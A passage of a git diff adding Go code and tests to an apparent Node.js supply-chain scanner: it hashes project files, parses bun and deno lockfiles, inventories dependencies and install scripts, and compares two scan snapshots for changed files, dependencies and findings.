append(report.AddedFiles, change) + case hadOld && !hasNew: + report.RemovedFiles = append(report.RemovedFiles, newFileChange(path, oldFile, scan.File{}, scan.FileStateRemoved)) + case oldFile.Status == scan.StatusSkipped || newFile.Status == scan.StatusSkipped: + report.SkippedFiles = append(report.SkippedFiles, newFileChange(path, oldFile, newFile, scan.FileStateSkipped)) + case sameFileIdentity(oldFile, newFile) && oldFile.SHA256 == newFile.SHA256: + report.UnchangedFiles = append(report.UnchangedFiles, newFileChange(path, oldFile, newFile, scan.FileStateUnchanged)) + default: + report.ModifiedFiles = append(report.ModifiedFiles, newFileChange(path, oldFile, newFile, scan.FileStateModified)) + } + } + + compareDependencies(&report, oldSnapshot.Node.Dependencies, newSnapshot.Node.Dependencies) + comparePackageScripts(&report, oldSnapshot.Node.PackageScripts, newSnapshot.Node.PackageScripts) + compareFindings(&report, oldSnapshot.Findings, newSnapshot.Findings) + return report +} + +// HasRelevantChanges reports whether the diff should produce a non-zero result. +func (r Report) HasRelevantChanges() bool { + return len(r.AddedFiles) > 0 || + len(r.RemovedFiles) > 0 || + len(r.ModifiedFiles) > 0 || + len(r.NewDependencies) > 0 || + len(r.RemovedDependencies) > 0 || + len(r.UpdatedDependencies) > 0 || + len(r.NewPackageScripts) > 0 || + len(r.ChangedPackageScripts) > 0 || + len(r.NewFindings) > 0 || + len(r.ResolvedFindings) > 0 +} + +// DependencyChange describes one dependency-level state transition. +type DependencyChange struct { + Name string + PackageManager string + DependencyType string + SourcePath string + PackagePath string + FromVersion string + ToVersion string + FromPURL string + ToPURL string + FromIntegrity string + ToIntegrity string + FromResolved string + ToResolved string +} + +// PackageScriptChange describes a new or changed package script. +type PackageScriptChange struct { + PackageName string + PackageManager string + SourcePath string + PackagePath string + ScriptName string + FromCommand string + ToCommand string +} + +func indexFiles(files []scan.File) map[string]scan.File { + index := make(map[string]scan.File, len(files)) + for _, file := range files { + index[file.Path] = file + } + return index +} + +func allPaths(oldFiles, newFiles map[string]scan.File) []string { + seen := make(map[string]struct{}, len(oldFiles)+len(newFiles)) + paths := make([]string, 0, len(oldFiles)+len(newFiles)) + for path := range oldFiles { + seen[path] = struct{}{} + paths = append(paths, path) + } + for path := range newFiles { + if _, ok := seen[path]; ok { + continue + } + paths = append(paths, path) + } + slices.Sort(paths) + return paths +} + +func newFileChange(path string, oldFile, newFile scan.File, state scan.FileState) FileChange { + owner := newFile.PackageOwner + if owner == "" { + owner = oldFile.PackageOwner + } + return FileChange{ + Path: path, + State: state, + FromStatus: oldFile.Status, + ToStatus: newFile.Status, + FromSHA256: oldFile.SHA256, + ToSHA256: newFile.SHA256, + FromSize: oldFile.Size, + ToSize: newFile.Size, + PackageOwner: owner, + } +} + +func sameFileIdentity(a, b scan.File) bool { + return a.Path == b.Path && + a.Size == b.Size && + a.ModifiedTime.Equal(b.ModifiedTime) && + a.Mode == b.Mode && + a.SymlinkTarget == b.SymlinkTarget && + a.PackageOwner == b.PackageOwner && + a.Status == b.Status +} + +func compareDependencies(report *Report, oldDeps, newDeps []node.Dependency) { + oldIndex := indexDependencies(oldDeps) + newIndex := indexDependencies(newDeps) + keys := allDependencyKeys(oldIndex, newIndex) + + for _, key := range keys { + oldDep, hadOld := oldIndex[key] + newDep, hasNew := newIndex[key] + switch { + case !hadOld && hasNew: + report.NewDependencies = append(report.NewDependencies, dependencyChange(oldDep, newDep)) + case hadOld && !hasNew: + report.RemovedDependencies = append(report.RemovedDependencies, dependencyChange(oldDep, newDep)) + case dependencyChanged(oldDep, newDep): + report.UpdatedDependencies = append(report.UpdatedDependencies, dependencyChange(oldDep, newDep)) + } + } +} + +func comparePackageScripts(report *Report, oldScripts, newScripts []node.PackageScript) { + oldIndex := indexPackageScripts(oldScripts) + newIndex := indexPackageScripts(newScripts) + keys := allScriptKeys(oldIndex, newIndex) + + for _, key := range keys { + oldScript, hadOld := oldIndex[key] + newScript, hasNew := newIndex[key] + switch { + case !hadOld && hasNew: + report.NewPackageScripts = append(report.NewPackageScripts, packageScriptChange(oldScript, newScript)) + case hadOld && hasNew && oldScript.Command != newScript.Command: + report.ChangedPackageScripts = append( + report.ChangedPackageScripts, + packageScriptChange(oldScript, newScript), + ) + } + } +} + +func compareFindings(report *Report, oldFindings, newFindings []rules.Finding) { + oldIndex := indexFindings(oldFindings) + newIndex := indexFindings(newFindings) + keys := allFindingKeys(oldIndex, newIndex) + + for _, key := range keys { + oldFinding, hadOld := oldIndex[key] + newFinding, hasNew := newIndex[key] + switch { + case !hadOld && hasNew: + report.NewFindings = append(report.NewFindings, findingChange(newFinding)) + case hadOld && !hasNew: + report.ResolvedFindings = append(report.ResolvedFindings, findingChange(oldFinding)) + case hadOld && hasNew: + report.StillExistingFindings = append(report.StillExistingFindings, findingChange(newFinding)) + } + } +} + +func indexDependencies(deps []node.Dependency) map[string]node.Dependency { + index := make(map[string]node.Dependency, len(deps)) + for _, dep := range deps { + index[dependencyIdentity(dep)] = dep + } + return index +} + +func indexPackageScripts(scripts []node.PackageScript) map[string]node.PackageScript { + index := make(map[string]node.PackageScript, len(scripts)) + for _, script := range scripts { + index[packageScriptIdentity(script)] = script + } + return index +} + +func indexFindings(findings []rules.Finding) map[string]rules.Finding { + index := make(map[string]rules.Finding, len(findings)) + for _, finding := range findings { + index[rules.FindingIdentity(finding)] = finding + } + return index +} + +func allDependencyKeys( + oldDeps map[string]node.Dependency, + newDeps map[string]node.Dependency, +) []string { + keys := make([]string, 0, len(oldDeps)+len(newDeps)) + seen := map[string]struct{}{} + for key := range oldDeps { + seen[key] = struct{}{} + keys = append(keys, key) + } + for key := range newDeps { + if _, ok := seen[key]; ok { + continue + } + keys = append(keys, key) + } + slices.Sort(keys) + return keys +} + +func allScriptKeys( + oldScripts map[string]node.PackageScript, + newScripts map[string]node.PackageScript, +) []string { + keys := make([]string, 0, len(oldScripts)+len(newScripts)) + seen := map[string]struct{}{} + for key := range oldScripts { + seen[key] = struct{}{} + keys = append(keys, key) + } + for key := range newScripts { + if _, ok := seen[key]; ok { + continue + } + keys = append(keys, key) + } + slices.Sort(keys) + return keys +} + +func allFindingKeys( + oldFindings map[string]rules.Finding, + newFindings map[string]rules.Finding, +) []string { + keys := make([]string, 0, len(oldFindings)+len(newFindings)) + seen := map[string]struct{}{} + for key := range oldFindings { + seen[key] = struct{}{} + keys = append(keys, key) + } + for key := range newFindings { + if _, ok := seen[key]; ok { + continue + } + keys = append(keys, key) + } + slices.Sort(keys) + return keys +} + +func dependencyIdentity(dep node.Dependency) string { + return cmp.Or(dep.PackageManager, "unknown") + "\x00" + + dep.SourcePath + "\x00" + + dep.PackagePath + "\x00" + + dep.Name + "\x00" + + dep.DependencyType +} + +func packageScriptIdentity(script node.PackageScript) string { + return cmp.Or(script.PackageManager, "unknown") + "\x00" + + script.SourcePath + "\x00" + + script.PackagePath + "\x00" + + script.PackageName + "\x00" + + script.ScriptName +} + +func dependencyChanged(oldDep, newDep node.Dependency) bool { + return oldDep.Version != newDep.Version || + oldDep.PURL != newDep.PURL || + oldDep.Integrity != newDep.Integrity || + oldDep.Resolved != newDep.Resolved || + oldDep.HasInstallScript != newDep.HasInstallScript +} + +func dependencyChange(oldDep, newDep node.Dependency) DependencyChange { + dep := newDep + if dep.Name == "" { + dep = oldDep + } + return DependencyChange{ + Name: dep.Name, + PackageManager: dep.PackageManager, + DependencyType: dep.DependencyType, + SourcePath: dep.SourcePath, + PackagePath: dep.PackagePath, + FromVersion: oldDep.Version, + ToVersion: newDep.Version, + FromPURL: oldDep.PURL, + ToPURL: newDep.PURL, + FromIntegrity: oldDep.Integrity, + ToIntegrity: newDep.Integrity, + FromResolved: oldDep.Resolved, + ToResolved: newDep.Resolved, + } +} + +func packageScriptChange(oldScript, newScript node.PackageScript) PackageScriptChange { + script := newScript + if script.ScriptName == "" { + script = oldScript + } + return PackageScriptChange{ + PackageName: script.PackageName, + PackageManager: script.PackageManager, + SourcePath: script.SourcePath, + PackagePath: script.PackagePath, + ScriptName: script.ScriptName, + FromCommand: oldScript.Command, + ToCommand: newScript.Command, + } +} + +func findingChange(finding rules.Finding) FindingChange { + return FindingChange{ + ID: finding.ID, + RuleID: finding.RuleID, + RuleType: finding.RuleType, + Severity: finding.Severity, + Confidence: finding.Confidence, + Source: finding.Source, + Summary: finding.Summary, + Path: finding.Path, + PackageName: finding.PackageName, + PURL: finding.PURL, + ScriptName: finding.ScriptName, + Suppressed: finding.Suppressed, + Blocking: finding.Blocking, + } +} diff --git a/internal/diff/diff_test.go b/internal/diff/diff_test.go new file mode 100644 index 0000000..ba0b7e0 --- /dev/null +++ b/internal/diff/diff_test.go @@ -0,0 +1,241 @@ +package diff + +import ( + "testing" + "time" + + "malox/internal/node" + "malox/internal/rules" + "malox/internal/scan" +) + +func TestCompareClassifiesFileStates(t *testing.T) { + when := time.Date(2026, 6, 17, 12, 0, 0, 0, time.UTC) + oldSnapshot := scan.Snapshot{ + ScanID: "old", + Files: []scan.File{ + scanFile("modified.js", "old", 3, when, scan.StatusScanned), + scanFile("removed.js", "removed", 7, when, scan.StatusScanned), + scanFile("same.js", "same", 4, when, scan.StatusScanned), + scanFile("skipped.js", "", 10, when, scan.StatusSkipped), + }, + } + newSnapshot := scan.Snapshot{ + ScanID: "new", + Files: []scan.File{ + scanFile("added.js", "added", 5, when, scan.StatusScanned), + scanFile("modified.js", "new", 3, when, scan.StatusScanned), + scanFile("same.js", "same", 4, when, scan.StatusScanned), + scanFile("skipped.js", "", 10, when, scan.StatusSkipped), + }, + } + + report := Compare(oldSnapshot, newSnapshot) + if report.SchemaVersion != SchemaVersion { + t.Fatalf("SchemaVersion = %q, want %q", report.SchemaVersion, SchemaVersion) + } + assertChange(t, report.AddedFiles, "added.js", scan.FileStateAdded) + assertChange(t, report.RemovedFiles, "removed.js", scan.FileStateRemoved) + assertChange(t, report.ModifiedFiles, "modified.js", scan.FileStateModified) + assertChange(t, report.UnchangedFiles, "same.js", scan.FileStateUnchanged) + assertChange(t, report.SkippedFiles, "skipped.js", scan.FileStateSkipped) + if !report.HasRelevantChanges() { + t.Fatal("HasRelevantChanges() = false, want true") + } +} + +func TestCompareUnchangedHasNoRelevantChanges(t *testing.T) { + when := time.Date(2026, 6, 17, 12, 0, 0, 0, time.UTC) + oldSnapshot := scan.Snapshot{ + ScanID: "old", + Files: []scan.File{scanFile("same.js", "same", 4, when, scan.StatusScanned)}, + } + newSnapshot := scan.Snapshot{ + ScanID: "new", + Files: []scan.File{scanFile("same.js", "same", 4, when, scan.StatusScanned)}, + } + + report := Compare(oldSnapshot, newSnapshot) + if report.HasRelevantChanges() { + t.Fatal("HasRelevantChanges() = true, want false") + } + if len(report.UnchangedFiles) != 1 { + t.Fatalf("UnchangedFiles length = %d, want 1", len(report.UnchangedFiles)) + } +} + +func TestCompareDependencyAndScriptChanges(t *testing.T) { + oldSnapshot := scan.Snapshot{ + ScanID: "old", + Node: node.Inventory{ + Dependencies: []node.Dependency{ + { + Name: "left-pad", + Version: "1.2.0", + PURL: "pkg:npm/left-pad@1.2.0", + PackageManager: "npm", + DependencyType: "dependencies", + SourcePath: "package-lock.json", + PackagePath: "node_modules/left-pad", + }, + { + Name: "removed", + Version: "1.0.0", + PURL: "pkg:npm/removed@1.0.0", + PackageManager: "npm", + SourcePath: "package-lock.json", + PackagePath: "node_modules/removed", + }, + }, + PackageScripts: []node.PackageScript{ + { + PackageName: "left-pad", + PackageManager: "package.json", + SourcePath: "node_modules/left-pad/package.json", + PackagePath: "node_modules/left-pad", + ScriptName: "install", + Command: "node old.js", + }, + }, + }, + } + newSnapshot := scan.Snapshot{ + ScanID: "new", + Node: node.Inventory{ + Dependencies: []node.Dependency{ + { + Name: "left-pad", + Version: "1.3.0", + PURL: "pkg:npm/left-pad@1.3.0", + PackageManager: "npm", + DependencyType: "dependencies", + SourcePath: "package-lock.json", + PackagePath: "node_modules/left-pad", + }, + { + Name: "new", + Version: "2.0.0", + PURL: "pkg:npm/new@2.0.0", + PackageManager: "npm", + SourcePath: "package-lock.json", + PackagePath: "node_modules/new", + }, + }, + PackageScripts: []node.PackageScript{ + { + PackageName: "left-pad", + PackageManager: "package.json", + SourcePath: "node_modules/left-pad/package.json", + PackagePath: "node_modules/left-pad", + ScriptName: "install", + Command: "node new.js", + }, + { + PackageName: "new", + PackageManager: "package.json", + SourcePath: "node_modules/new/package.json", + PackagePath: "node_modules/new", + ScriptName: "postinstall", + Command: "node setup.js", + }, + }, + }, + } + + report := Compare(oldSnapshot, newSnapshot) + if len(report.UpdatedDependencies) != 1 || report.UpdatedDependencies[0].Name != "left-pad" { + t.Fatalf("UpdatedDependencies = %#v, want left-pad", report.UpdatedDependencies) + } + if len(report.NewDependencies) != 1 || report.NewDependencies[0].Name != "new" { + t.Fatalf("NewDependencies = %#v, want new", report.NewDependencies) + } + if len(report.RemovedDependencies) != 1 || report.RemovedDependencies[0].Name != "removed" { + t.Fatalf("RemovedDependencies = %#v, want removed", report.RemovedDependencies) + } + if len(report.ChangedPackageScripts) != 1 || report.ChangedPackageScripts[0].ScriptName != "install" { + t.Fatalf("ChangedPackageScripts = %#v, want install", report.ChangedPackageScripts) + } + if len(report.NewPackageScripts) != 1 || report.NewPackageScripts[0].ScriptName != "postinstall" { + t.Fatalf("NewPackageScripts = %#v, want postinstall", report.NewPackageScripts) + } + if !report.HasRelevantChanges() { + t.Fatal("HasRelevantChanges() = false, want true") + } +} + +func TestCompareFindingChanges(t *testing.T) { + oldSnapshot := scan.Snapshot{ + ScanID: "old", + Findings: []rules.Finding{ + { + ID: "old-finding", + RuleID: "rule:old", + RuleType: "detection", + Path: "old.js", + }, + { + ID: "same-finding", + RuleID: "rule:same", + RuleType: "detection", + Path: "same.js", + }, + }, + } + newSnapshot := scan.Snapshot{ + ScanID: "new", + Findings: []rules.Finding{ + { + ID: "same-finding", + RuleID: "rule:same", + RuleType: "detection", + Path: "same.js", + }, + { + ID: "new-finding", + RuleID: "rule:new", + RuleType: "blocklist", + Path: "new.js", + Severity: rules.SeverityCritical, + Confidence: rules.ConfidenceConfirmedMalicious, + Blocking: true, + }, + }, + } + + report := Compare(oldSnapshot, newSnapshot) + if len(report.NewFindings) != 1 || report.NewFindings[0].RuleID != "rule:new" { + t.Fatalf("NewFindings = %#v, want rule:new", report.NewFindings) + } + if len(report.ResolvedFindings) != 1 || report.ResolvedFindings[0].RuleID != "rule:old" { + t.Fatalf("ResolvedFindings = %#v, want rule:old", report.ResolvedFindings) + } + if len(report.StillExistingFindings) != 1 || report.StillExistingFindings[0].RuleID != "rule:same" { + t.Fatalf("StillExistingFindings = %#v, want rule:same", report.StillExistingFindings) + } + if !report.HasRelevantChanges() { + t.Fatal("HasRelevantChanges() = false, want true") + } +} + +func scanFile(path, hash string, size int64, modifiedTime time.Time, status scan.Status) scan.File { + return scan.File{ + Path: path, + Size: size, + ModifiedTime: modifiedTime, + Mode: "-rw-r--r--", + Permissions: "0644", + SHA256: hash, + Type: "javascript", + Status: status, + } +} + +func assertChange(t *testing.T, changes []FileChange, path string, state scan.FileState) { + t.Helper() + if len(changes) != 1 { + t.Fatalf("%s changes length = %d, want 1: %#v", state, len(changes), changes) + } + if changes[0].Path != path || changes[0].State != state { + t.Fatalf("change = %#v, want %s %s", changes[0], path, state) + } +} diff --git a/internal/fileid/fileid.go b/internal/fileid/fileid.go new file mode 100644 index 0000000..81cbf6b --- /dev/null +++ b/internal/fileid/fileid.go @@ -0,0 +1,151 @@ +// Package fileid contains filesystem identity helpers for scan snapshots. +package fileid + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "errors" + "fmt" + "hash" + "io" + "io/fs" + "os" + "path/filepath" + "time" +) + +// ErrFileTooLarge reports that a file exceeded the configured scan read limit. +var ErrFileTooLarge = errors.New("file too large") + +// Metadata describes stable filesystem identity fields for one path. +type Metadata struct { + Path string + RelativePath string + Size int64 + ModifiedTime time.Time + Mode fs.FileMode + Permissions string + Symlink bool + SymlinkTarget string +} + +// NormalizeRoot resolves root into a clean absolute path with symlinks evaluated. +func NormalizeRoot(root string) (string, error) { + if root == "" { + return "", errors.New("root is required") + } + absolute, err := filepath.Abs(root) + if err != nil { + return "", fmt.Errorf("make root absolute: %w", err) + } + resolved, err := filepath.EvalSymlinks(absolute) + if err != nil { + return "", fmt.Errorf("resolve root symlinks: %w", err) + } + return filepath.Clean(resolved), nil +} + +// SnapshotPath returns a slash-separated project-relative path for path. +func SnapshotPath(root, path string) (string, error) { + rel, err := filepath.Rel(root, path) + if err != nil { + return "", fmt.Errorf("make snapshot path relative: %w", err) + } + if !filepath.IsLocal(rel) { + return "", fmt.Errorf("path escapes root: %q", rel) + } + return filepath.ToSlash(rel), nil +} + +// Inspect collects path metadata without following symlinks. +func Inspect(root, path string) (Metadata, error) { + info, err := os.Lstat(path) + if err != nil { + return Metadata{}, fmt.Errorf("stat path: %w", err) + } + + rel, err := SnapshotPath(root, path) + if err != nil { + return Metadata{}, err + } + + meta := Metadata{ + Path: path, + RelativePath: rel, + Size: info.Size(), + ModifiedTime: info.ModTime().UTC(), + Mode: info.Mode(), + Permissions: PermissionString(info.Mode()), + Symlink: info.Mode()&fs.ModeSymlink != 0, + } + if meta.Symlink { + target, err := os.Readlink(path) + if err != nil { + return Metadata{}, fmt.Errorf("read symlink: %w", err) + } + meta.SymlinkTarget = target + } + return meta, nil +} + +// PermissionString formats the permission bits as a four-digit octal string. +func PermissionString(mode fs.FileMode) string { + return fmt.Sprintf("%04o", mode.Perm()) +} + +// HashFile computes a SHA-256 hash for rel inside root without reading past maxSize. +func HashFile(ctx context.Context, root, rel string, maxSize int64) (string, error) { + if err := ctx.Err(); err != nil { + return "", fmt.Errorf("hash file: %w", err) + } + if maxSize < 1 { + return "", errors.New("max file size must be greater than 0") + } + if !filepath.IsLocal(rel) { + return "", fmt.Errorf("unsafe relative path %q", rel) + } + + f, err := os.OpenInRoot(root, filepath.FromSlash(rel)) + if err != nil { + return "", fmt.Errorf("open project file %q: %w", rel, err) + } + // This is a read-only scan path; close errors cannot improve recovery beyond + // the open/read errors that are returned with path context below. + defer func() { + _ = f.Close() + }() + + sum := sha256.New() + if err := copyBounded(ctx, sum, f, maxSize); err != nil { + return "", fmt.Errorf("hash project file %q: %w", rel, err) + } + return hex.EncodeToString(sum.Sum(nil)), nil +} + +func copyBounded(ctx context.Context, dst hash.Hash, src io.Reader, maxSize int64) error { + buf := make([]byte, 32*1024) + var total int64 + for { + if err := ctx.Err(); err != nil { + return err + } + + n, err := src.Read(buf) + if n > 0 { + total += int64(n) + if total > maxSize { + return fmt.Errorf("%w: exceeds %d bytes", ErrFileTooLarge, maxSize) + } + if _, writeErr := dst.Write(buf[:n]); writeErr != nil { + return writeErr + } + } + if errors.Is(err, io.EOF) { + return nil + } + if err != nil { + return err + } + } +} diff --git a/internal/fileid/fileid_test.go b/internal/fileid/fileid_test.go new file mode 100644 index 0000000..ab0cde1 --- /dev/null +++ b/internal/fileid/fileid_test.go @@ -0,0 +1,62 @@ +package fileid + +import ( + "crypto/sha256" + "encoding/hex" + "errors" + "os" + "path/filepath" + "testing" +) + +func TestSnapshotPathNormalizesToSlashSeparatedLocalPath(t *testing.T) { + root := t.TempDir() + path := filepath.Join(root, "src", "index.js") + + got, err := SnapshotPath(root, path) + if err != nil { + t.Fatalf("SnapshotPath() error = %v", err) + } + if got != "src/index.js" { + t.Fatalf("SnapshotPath() = %q, want %q", got, "src/index.js") + } +} + +func TestSnapshotPathRejectsEscapes(t *testing.T) { + root := t.TempDir() + path := filepath.Join(root, "..", "outside.js") + + _, err := SnapshotPath(root, path) + if err == nil { + t.Fatal("SnapshotPath() error = nil, want escape error") + } +} + +func TestHashFileStreamsSHA256WithinLimit(t *testing.T) { + root := t.TempDir() + if err := os.WriteFile(filepath.Join(root, "package.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + + got, err := HashFile(t.Context(), root, "package.json", 1024) + if err != nil { + t.Fatalf("HashFile() error = %v", err) + } + sum := sha256.Sum256([]byte("{}\n")) + want := hex.EncodeToString(sum[:]) + if got != want { + t.Fatalf("HashFile() = %q, want %q", got, want) + } +} + +func TestHashFileRejectsOversizedFile(t *testing.T) { + root := t.TempDir() + if err := os.WriteFile(filepath.Join(root, "large.txt"), []byte("12345"), 0o644); err != nil { + t.Fatal(err) + } + + _, err := HashFile(t.Context(), root, "large.txt", 4) + if !errors.Is(err, ErrFileTooLarge) { + t.Fatalf("HashFile() error = %v, want ErrFileTooLarge", err) + } +} diff --git a/internal/node/bun.go b/internal/node/bun.go new file mode 100644 index 0000000..3424d3f --- /dev/null +++ b/internal/node/bun.go @@ -0,0 +1,107 @@ +package node + +import ( + "bytes" + "encoding/json" + "fmt" + "strings" + + "github.com/tailscale/hujson" +) + +type bunLock struct { + Workspaces map[string]struct { + Dependencies map[string]string `json:"dependencies"` + DevDependencies map[string]string `json:"devDependencies"` + OptionalDependencies map[string]string `json:"optionalDependencies"` + } `json:"workspaces"` + Packages map[string]json.RawMessage `json:"packages"` +} + +func parseBunLock(path string, data []byte) ([]Dependency, error) { + standard, err := hujson.Standardize(data) + if err != nil { + return nil, fmt.Errorf("standardize bun lockfile: %w", err) + } + + var lock bunLock + if err := readJSONStrict(bytes.NewReader(standard), &lock); err != nil { + return nil, fmt.Errorf("parse bun lockfile: %w", err) + } + + out := []Dependency{} + for _, workspace := range sortedMapKeys(lock.Workspaces) { + item := lock.Workspaces[workspace] + for _, group := range []struct { + kind string + deps map[string]string + }{ + {kind: "dependencies", deps: item.Dependencies}, + {kind: "dev_dependencies", deps: item.DevDependencies}, + {kind: "optional_dependencies", deps: item.OptionalDependencies}, + } { + for _, name := range sortedMapKeys(group.deps) { + version := group.deps[name] + out = append(out, Dependency{ + Name: name, + Version: version, + PURL: NpmPURL(name, version), + PackageManager: "bun", + DependencyType: group.kind, + SourcePath: path, + PackagePath: "node_modules/" + name, + }) + } + } + } + + for _, name := range sortedMapKeys(lock.Packages) { + dep := dependencyFromBunPackage(path, name, lock.Packages[name]) + if dep.Name == "" { + continue + } + out = append(out, dep) + } + + return dedupeDependencies(out), nil +} + +func dependencyFromBunPackage(path, name string, raw json.RawMessage) Dependency { + var parts []any + if err := json.Unmarshal(raw, &parts); err != nil || len(parts) == 0 { + return Dependency{} + } + + version := "" + if first, ok := parts[0].(string); ok { + version = versionFromBunResolution(name, first) + } + if version == "" { + return Dependency{} + } + return Dependency{ + Name: name, + Version: version, + PURL: NpmPURL(name, version), + PackageManager: "bun", + DependencyType: "locked", + SourcePath: path, + PackagePath: "node_modules/" + name, + Resolved: string(raw), + } +} + +func versionFromBunResolution(name, value string) string { + prefix := name + "@" + if !strings.HasPrefix(value, prefix) { + return "" + } + version := strings.TrimPrefix(value, prefix) + if before, _, ok := strings.Cut(version, "#"); ok { + version = before + } + if before, _, ok := strings.Cut(version, "?"); ok { + version = before + } + return version +} diff --git a/internal/node/deno.go b/internal/node/deno.go new file mode 100644 index 0000000..28ba77b --- /dev/null +++ b/internal/node/deno.go @@ -0,0 +1,120 @@ +package node + +import ( + "bytes" + "encoding/json" + "fmt" + "strings" +) + +type denoConfig struct { + Imports map[string]string `json:"imports"` + Tasks map[string]string `json:"tasks"` +} + +type denoLock struct { + Version int `json:"version"` + Packages map[string]denoLockPackage `json:"packages"` + Remote map[string]json.RawMessage `json:"remote"` +} + +type denoLockPackage struct { + Integrity string `json:"integrity"` + Dependencies []string `json:"dependencies"` +} + +func parseDenoConfig(path string, data []byte) ([]Dependency, []PackageScript, error) { + var cfg denoConfig + if err := readJSONStrict(bytes.NewReader(data), &cfg); err != nil { + return nil, nil, fmt.Errorf("parse deno config: %w", err) + } + + deps := []Dependency{} + for _, name := range sortedMapKeys(cfg.Imports) { + source := cfg.Imports[name] + depName, version := parseDenoSpecifier(name, source) + if depName == "" { + continue + } + purl := DenoPURL(depName, version) + if strings.HasPrefix(source, "npm:") || strings.HasPrefix(name, "npm:") { + purl = NpmPURL(depName, version) + } + deps = append(deps, Dependency{ + Name: depName, + Version: version, + PURL: purl, + PackageManager: "deno", + DependencyType: "imports", + SourcePath: path, + Resolved: source, + }) + } + + scripts := []PackageScript{} + for _, task := range sortedMapKeys(cfg.Tasks) { + scripts = append(scripts, PackageScript{ + PackageManager: "deno", + SourcePath: path, + ScriptName: task, + Command: cfg.Tasks[task], + }) + } + return deps, scripts, nil +} + +func parseDenoLock(path string, data []byte) ([]Dependency, error) { + var lock denoLock + if err := readJSONStrict(bytes.NewReader(data), &lock); err != nil { + return nil, fmt.Errorf("parse deno lockfile: %w", err) + } + + out := []Dependency{} + for _, raw := range sortedMapKeys(lock.Packages) { + name, version := parseDenoPackageKey(raw) + if name == "" { + continue + } + pkg := lock.Packages[raw] + purl := DenoPURL(name, version) + if strings.HasPrefix(raw, "npm:") { + purl = NpmPURL(name, version) + } + out = append(out, Dependency{ + Name: name, + Version: version, + PURL: purl, + PackageManager: "deno", + DependencyType: "locked", + SourcePath: path, + Integrity: pkg.Integrity, + Resolved: raw, + }) + } + return out, nil +} + +func parseDenoSpecifier(alias, source string) (string, string) { + if strings.HasPrefix(source, "npm:") { + return parseDenoPackageKey(strings.TrimPrefix(source, "npm:")) + } + if strings.HasPrefix(alias, "npm:") { + return parseDenoPackageKey(strings.TrimPrefix(alias, "npm:")) + } + return strings.TrimSuffix(alias, "/"), "" +} + +func parseDenoPackageKey(value string) (string, string) { + value = strings.TrimSpace(value) + if value == "" { + return "", "" + } + if strings.HasPrefix(value, "npm:") { + value = strings.TrimPrefix(value, "npm:") + } + idx := strings.LastIndex(value, "@") + if idx <= 0 || idx == len(value)-1 { + return value, "" + } + return value[:idx], value[idx+1:] +} diff --git a/internal/node/inventory.go b/internal/node/inventory.go new file mode 100644 index 0000000..daaa47d --- /dev/null +++ b/internal/node/inventory.go @@ -0,0 +1,408 @@ +package node + +import ( + "cmp" + "context" + "errors" + "fmt" + "io" + "os" + "path" + "path/filepath" + "slices" + "strings" +) + +const scannedStatus = "scanned" + +// Build discovers Node.js manifests, lockfiles, dependencies, scripts, and warnings. +func Build(ctx context.Context, opts BuildOptions) (Inventory, error) { + if err := ctx.Err(); err != nil { + return Inventory{}, fmt.Errorf("build node inventory: %w", err) + } + if strings.TrimSpace(opts.Root) == "" { + return Inventory{}, errors.New("root is required") + } + + inv := Inventory{ + SchemaVersion: SchemaVersion, + Signals: append([]PackageManagerSignal{}, opts.Signals...), + Manifests: []SourceFile{}, + Lockfiles: []SourceFile{}, + Dependencies: []Dependency{}, + PackageScripts: []PackageScript{}, + Warnings: []Warning{}, + } + + manifestTypes := map[string]string{} + packageScriptsByPath := map[string][]PackageScript{} + packageMaintainersByPath := map[string][]string{} + for _, file := range scannedFiles(opts.Files) { + if err := ctx.Err(); err != nil { + return Inventory{}, fmt.Errorf("build node inventory: %w", err) + } + + signal, ok := DetectPackageManagerSignal(file.Path, false) + if ok { + inv.Signals = append(inv.Signals, signal) + } + + switch strings.ToLower(filepath.Base(file.Path)) { + case "package.json": + source := SourceFile{ + Path: file.Path, + SHA256: file.SHA256, + Manager: "node", + Kind: "manifest", + } + inv.Manifests = append(inv.Manifests, source) + + data, err := readProjectFile(opts.Root, file.Path) + if err != nil { + inv.Warnings = append(inv.Warnings, warning(file.Path, "manifest_read_error", err)) + continue + } + doc, err := parseManifest(file.Path, data) + if err != nil { + inv.Warnings = append(inv.Warnings, warning(file.Path, "manifest_parse_error", err)) + continue + } + if !strings.Contains(filepath.ToSlash(file.Path), "/node_modules/") { + deps := dependenciesFromManifest(file.Path, doc) + inv.Dependencies = append(inv.Dependencies, deps...) + for _, dep := range deps { + if dep.DependencyType != "" { + manifestTypes[dep.Name] = dep.DependencyType + } + } + } + scripts := packageScriptsFromManifest(file.Path, doc) + inv.PackageScripts = append(inv.PackageScripts, scripts...) + packageDir := packageDirFromManifest(file.Path) + packageScriptsByPath[packageDir] = scripts + packageMaintainersByPath[packageDir] = peopleFromManifest(doc) + case "deno.json": + inv.Manifests = append(inv.Manifests, SourceFile{ + Path: file.Path, + SHA256: file.SHA256, + Manager: "deno", + Kind: "manifest", + }) + case "package-lock.json", "npm-shrinkwrap.json", "pnpm-lock.yaml", "yarn.lock", "bun.lock", "bun.lockb", "deno.lock": + inv.Lockfiles = append(inv.Lockfiles, SourceFile{ + Path: file.Path, + SHA256: file.SHA256, + Manager: managerForLockfile(file.Path), + Kind: kindForLockfile(file.Path), + }) + } + } + + for _, file := range scannedFiles(opts.Files) { + if err := ctx.Err(); err != nil { + return Inventory{}, fmt.Errorf("build node inventory: %w", err) + } + deps, scripts, warnings := parseInventoryFile(opts.Root, file, manifestTypes) + inv.Dependencies = append(inv.Dependencies, deps...) + inv.PackageScripts = append(inv.PackageScripts, scripts...) + inv.Warnings = append(inv.Warnings, warnings...) + } + + attachPackageScripts(inv.Dependencies, packageScriptsByPath) + attachPackageMaintainers(inv.Dependencies, packageMaintainersByPath) + sortInventory(&inv) + inv.Signals = uniqueSignals(inv.Signals) + inv.Dependencies = dedupeDependencies(inv.Dependencies) + inv.PackageScripts = dedupePackageScripts(inv.PackageScripts) + inv.Summary = Summary{ + ManifestCount: len(inv.Manifests), + LockfileCount: len(inv.Lockfiles), + DependencyCount: len(inv.Dependencies), + PackageScripts: len(inv.PackageScripts), + Warnings: len(inv.Warnings), + } + return inv, nil +} + +// DetectPackageManagerSignal returns a package-manager clue for rel when one is known. +func DetectPackageManagerSignal(rel string, isDir bool) (PackageManagerSignal, bool) { + if isDir { + if path.Base(filepath.ToSlash(rel)) == "node_modules" { + return PackageManagerSignal{Manager: "node", Kind: "dependency_directory", Path: rel}, true + } + return PackageManagerSignal{}, false + } + + switch 